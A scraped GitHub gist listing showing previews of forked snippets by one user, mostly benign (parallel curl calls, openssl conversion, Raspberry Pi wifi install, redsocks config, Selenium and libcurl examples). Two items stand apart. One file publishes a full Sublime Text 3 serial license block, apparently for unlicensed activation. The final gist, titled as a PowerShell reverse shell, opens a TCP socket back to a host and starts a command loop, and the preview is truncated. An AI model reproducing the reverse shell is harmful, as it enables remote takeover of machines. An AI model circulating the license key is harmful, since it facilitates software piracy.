Skip to content

Instantly share code, notes, and snippets.

# -*- coding: utf-8 -*-
# _ _
# ___ ___ _ _| |_ ___| |_
# | _| . | | | _| -_| |
# |_| |___|___|_| |___|_|_|
#
# Page: www.facebook.com/InurlBrasil
# Blog: blog.inurl.com.br
#Dependencias
@f0r34chb3t4
f0r34chb3t4 / parallel_curl.sh
Created January 22, 2017 09:21 — forked from CMCDragonkai/parallel_curl.sh
Bash: GNU Parallel with Curl
# do it once
seq 1 | parallel -n0 "curl -H 'Content-Type: application/json' http://httpbin.org/post -X POST -d '{\"url\":\"http://google.com/\"}'"
# do it twice
seq 2 | parallel -n0 "curl -H 'Content-Type: application/json' http://httpbin.org/post -X POST -d '{\"url\":\"http://google.com/\"}'"
# do it 4 times, but at 2 a time
seq 4 | parallel -n0 -j2 "curl -H 'Content-Type: application/json' http://httpbin.org/post -X POST -d '{\"url\":\"http://google.com/\"}'"
# you can also put all your commands into a file
@f0r34chb3t4
f0r34chb3t4 / der.bash
Created January 30, 2017 14:17 — forked from yyl/der.bash
keytool
openssl x509 -outform der -in res/raw/cert.pem -out res/raw/cert.der
@f0r34chb3t4
f0r34chb3t4 / RPi-install-wifi.sh
Created February 9, 2017 05:13 — forked from kmonsoor/RPi-install-wifi.sh
install wifi adapter drivers on Raspberry Pi
#!/bin/bash
set -e
# install-wifi - v3 - by MrEngman.
display_help() {
echo "#"
echo "# usage:"
echo "#"
echo "# install-wifi [[-h | --help] |"
@f0r34chb3t4
f0r34chb3t4 / redsocks.conf
Created February 23, 2017 18:08 — forked from afriza/redsocks.conf
Setup iptables for RedSocks in OpenWRT
base {
// debug: connection progress & client list on SIGUSR1
log_debug = on;
// info: start and end of client session
log_info = on;
/* possible `log' values are:
* stderr
* file:/path/to/file
@f0r34chb3t4
f0r34chb3t4 / chromemobiletest.py
Created May 19, 2017 20:12 — forked from devinmancuso/chromemobiletest.py
Example Python Chrome Mobile Emulation Automated Unit Testing Using Selenium 2 WebDriver ChromeDriver
# Import unittest module for creating unit tests
import unittest
# Import time module to implement
import time
# Import the Selenium 2 module (aka "webdriver")
from selenium import webdriver
# For automating data input
@f0r34chb3t4
f0r34chb3t4 / curltest.c
Created June 15, 2017 01:01 — forked from aaronhurt/curltest.c
example code using libcurl and json-c to post and parse a return from http://jsonplaceholder.typicode.com
/**
* example C code using libcurl and json-c
* to post and return a payload using
* http://jsonplaceholder.typicode.com
*
* Requirements:
*
* json-c - https://github.com/json-c/json-c
* libcurl - http://curl.haxx.se/libcurl/c
*
@f0r34chb3t4
f0r34chb3t4 / LICENCE SUBLIME TEXT
Created November 19, 2017 18:13
Sublime Text 3 Serial key build is 3143
## Sublime Text 3 Serial key build is 3103
—– BEGIN LICENSE —–
Michael Barnes
Single User License
EA7E-821385
8A353C41 872A0D5C DF9B2950 AFF6F667
C458EA6D 8EA3C286 98D1D650 131A97AB
AA919AEC EF20E143 B361B1E7 4C8B7F04
B085E65E 2F5F5360 8489D422 FB8FC1AA
@f0r34chb3t4
f0r34chb3t4 / win7-admin.bat
Created December 28, 2017 16:50 — forked from ruzickap/win7-admin.bat
win7 customization file. Run right after you first log in as administrator.
:: Tested on Windows 7
@echo.
@echo Test connection settings
powershell -command "$client = new-object System.Net.WebClient; $client.DownloadFile('http://www.google.com', 'c:\del')"
if %ERRORLEVEL% NEQ 0 (
@echo Can not download files form Internet !!!
pause
exit
@f0r34chb3t4
f0r34chb3t4 / mini-reverse.ps1
Created January 22, 2018 00:53 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;